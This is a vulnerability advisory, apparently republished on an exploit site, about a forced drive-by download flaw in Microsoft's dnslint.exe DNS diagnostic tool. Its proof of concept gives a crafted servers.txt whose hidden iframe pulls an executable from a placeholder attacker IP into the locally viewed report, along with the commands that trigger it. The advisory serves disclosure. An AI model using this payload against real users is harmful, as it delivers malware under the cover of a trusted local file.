Microsoft DNS dnslint.exe Tool Forced Drive-By Download Vulnerability

[+] Credits: John Page (aka hyp3rlinx)    

Vendor
=================
www.microsoft.com


Product
===========
dnslint.exe - DNS Tool


DNSLint is a Microsoft Windows CL utility that helps you to diagnose common DNS name resolution issues.
The utility not installed by default on Windows and must be downloaded from microsoft website.



Vulnerability Type
===================
Forced Drive-by Download



Security Issue
================
The tool doesn't verify domain names when parsing DNS text-files using the "/ql" switch making it prone to forced drive-by
downloads, providing an end user is tricked into using a server text-file containing a script/binary reference instead of
a normally expected domain name.

Normal usage:
(/r flag generates a report)
dnslint.exe /v /y /d somedomain.com /s X.X.X.X /r myreport

Unintended consequence usage:
dnslint.exe /v /y /d "MALWARE-FILE" /s X.X.X.X /r "myreport"

This potentially allows forced downloading of a remote executable to end users host when the report is veiwed in a web browser.
Because the download "seemingly" comes from a "trusted" LOCAL location, an end user may "trust" it and ignore Security warnings
normally associated with opening executables from their browser.

e.g.

The generated report is referenced as Local URI e.g. file:///c:/myreport.html and doesn't visibly point at some remote URL.


Exploit/POC
============
double slashes required "//" to deal with "spaces" or will break injection.
where X.X.X.X is the DNS server IP or use 8.8.8.8 (google DNS), ADVERSARY-IP (attacker IP).

1) "dnslint-update.exe" on remote web server root dir.


2) "servers.txt"

DNSLint
;This is a sample DNSLint input file

+This DNS server is called: dns1.cp.msft.net
[dns~server] X.X.X.X

<iframe//src="http://ADVERSARY-IP/dnslint-update.exe"//style="width:0;height:0;border:0;border:none;"></iframe>,a,r ;A record
X.X.X.X,ptr,r ;PTR record
test1,cname,r ;CNAME record
test2,mx,r ;MX record


3) dnslint.exe /ql servers.txt


BOOOOOOOM Malwarez dropped :)
Optionally, you can point dnslint.exe at a Network share file: \\ADVERSARY-IP\servers.txt


Network Access
===============
Remote


Severity
=========
High 7.6
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

#  0day.today [2018-07-22]  #